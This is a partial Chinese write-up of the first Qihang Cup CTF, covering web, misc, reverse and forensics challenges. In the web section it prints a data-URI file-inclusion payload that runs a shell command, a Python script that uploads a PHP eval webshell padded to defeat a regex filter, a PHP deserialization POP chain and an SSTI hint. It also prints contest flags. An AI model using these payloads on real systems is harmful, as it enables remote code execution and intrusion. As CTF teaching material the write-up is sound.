第一届启航杯网络安全大赛部分wp

第一届启航杯

WEB

Easy include

php 复制代码
<?php
error_reporting(0);
//flag in flag.php
$file=$_GET['fil  e'];
if(isset($file))
{
    if(!preg_match("/flag/i",$file))
    {
        include($file);
    }
    else
    {
        echo("no no no ~ ");
    }
}
else
{
    highlight_file(__FILE__);
}

?> 
php 复制代码
payload:
http://154.64.245.108:33198/?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgIGZsYWcucGhwJyk7Pz4=

Web_IP

打开hint.php发现这句话 尝试写入XFF头

多次尝试后发现是SSTI的XFF头注入 直接读取flag就行

PCREMagic

php 复制代码
 <?php
function is_php($data){
     return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    if (!is_dir($user_dir)) {
        mkdir($user_dir, 0755, true);
    }
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
    exit;
}
?> 1

这是一题PHP正则回溯溢出绕过

我们需要上传webshell来控制后台,但是is_php()函数对文件内容做了正则检测;关键点就是需要突破正则检测。

python 复制代码
import requests
from io import BytesIO

url = "http://8.219.82.75:32983"

files = {
    'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}

res = requests.post(url=url, files=files, allow_redirects=False)

print(res.headers)
QHCTF{037c9d2c-1f5a-4f00-a471-03d5ffe3ae40}

Web_pop

__isset:当对不可访问属性调用isset()或empty()时调用,在eeee中出现isset;
__clone:当对象复制完成时调用,在Easy中出现。这题中要让Sec的var等于eeee这个类
__call:在对象中调用一个不可访问方法时调用,在Sec中的toString中调用
__toString:在Start中出现echo $name
php 复制代码
<?php
highlight_file(__FILE__);
class Start{
    public $name;
    public $func;
}
 
class Sec{
    public $obj;
    public $var;
}
 
class Easy{
    public $cla;
}
 
class eeee{
    public $obj;
}
 
$res = new Start;
$res->name = new Sec;
$res->name->obj = new Easy;
$res->name->var=new eeee;
$res->name->var->obj=new Start;
$res->name->var->obj->func=new Sec;
echo serialize($res);
?>

O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";O:5:"Start":2:{s:4:"name";N;s:4:"func";O:3:"Sec":2:{s:3:"obj";N;s:3:"var";N;}}}}s:3:"var";r:4;}s:4:"func";N;}
QHCTF{138118b4-9ad3-4db2-8d68-3e68660d7703}

MISC

QHCTF For Year 2025

QHCTF{FUN}

请找出拍摄地所在位置

PvzHE

QHCTF{300cef31-68d9-4b72-b49d-a7802da481a5}

Reverse

Checker

对一组十六进制数进行解码,具体通过对每个数字进行按位异或(XOR)运算来还原成对应的字符,最终拼接成一个字符串并输出。

python 复制代码
# 原始十六进制列表
hex_list = [
    0x72, 0x6B, 0x60, 0x77, 0x65, 0x58, 0x46, 0x46, 0x15, 0x40, 0x14, 0x41,
    0x1A, 0x40, 0x0E, 0x46, 0x14, 0x45, 0x16, 0x0E, 0x17, 0x45, 0x42, 0x41,
    0x0E, 0x1A, 0x41, 0x47, 0x45, 0x0E, 0x46, 0x42, 0x13, 0x14, 0x46, 0x13,
    0x10, 0x17, 0x45, 0x15, 0x42, 0x16, 0x5E
]

# 解码结果存储在此字符串中
decoded_flag = ''

# 遍历列表,对每个元素进行异或操作并转换为字符
for hex_value in hex_list:
    decoded_flag += chr(hex_value ^ 0x23)

# 打印解码后的字符串
print(decoded_flag)

rainbow

python 复制代码
# 初始化十六进制数据列表
hex_list = [
    0x0B, 0x12, 0x19, 0x0E, 0x1C, 0x21, 0x3B, 0x62, 0x68, 0x68, 0x6C, 0x6B,
    0x6A, 0x69, 0x77, 0x6F, 0x3B, 0x63, 0x3B, 0x77, 0x6E, 0x3C, 0x3B, 0x6D,
    0x77, 0x3B, 0x38, 0x39, 0x3C, 0x77, 0x3E, 0x3F, 0x3B, 0x6E, 0x69, 0x62,
    0x3B, 0x6D, 0x39, 0x3F, 0x6D, 0x62, 0x27
]

# 初始化空字符串,用于存储解码后的字符
decoded_flag = ''

# 遍历每个十六进制值,进行解码操作
for value in hex_list:
    # 异或操作,解码数据,并转换为对应的字符
    decoded_flag += chr(value ^ 90)

# 输出解码后的字符串
print(decoded_flag)

小明的note

c 复制代码
#include <stdio.h>
#include <string.h>

// 解密函数
void decrypt_flag(const char *encrypted_data, char *decrypted_data, int key) {
    // 提取密钥的字节部分
    unsigned char key_parts[4];
    key_parts[0] = key & 0xFF;          // 提取最低字节
    key_parts[1] = (key >> 8) & 0xFF;  // 提取次低字节
    key_parts[2] = (key >> 16) & 0xFF; // 提取次高字节
    key_parts[3] = (key >> 24) & 0xFF; // 提取最高字节

    // 获取加密数据的长度
    int data_length = strlen(encrypted_data);
    for (int i = 0; i < data_length; ++i) {
        // 使用异或运算进行解密
        decrypted_data[i] = (key_parts[i % 4] ^ encrypted_data[i]) ^ (i + 1);
    }
    // 添加字符串结束符
    decrypted_data[data_length] = '\0';
}

int main() {
    // 加密后的数据
    const char encrypted_data[] = {
        0x12, 0x7D, 0xE1, 0x2C, 0x01, 0x4A, 0xC4, 0x45, 0x78, 0x5E, 0xC9, 0x46, 
        0x78, 0x5D, 0x83, 0x0F, 0x37, 0x12, 0xD0, 0x45, 0x63, 0x42, 0xD5, 0x57, 
        0x76, 0x14, 0xDE, 0x06, 0x6E, 0x04, 0x8F, 0x3E, 0x50, 0x21, 0xE1, 0x3B, 
        0x53, 0x72, 0xB7, 0x6C, 0x5D, 0x79, 0xF7, 0xE8
    };

    // 定义密钥
    int key = 2090940226;

    // 解密结果存储的缓冲区
    int encrypted_length = sizeof(encrypted_data);
    char decrypted_data[encrypted_length + 1]; // +1 预留空间给结束符

    // 解密操作
    decrypt_flag(encrypted_data, decrypted_data, key);

    // 打印解密后的数据
    printf("Decrypted flag: %s\n", decrypted_data);

    return 0;
}

Forensics

Win_02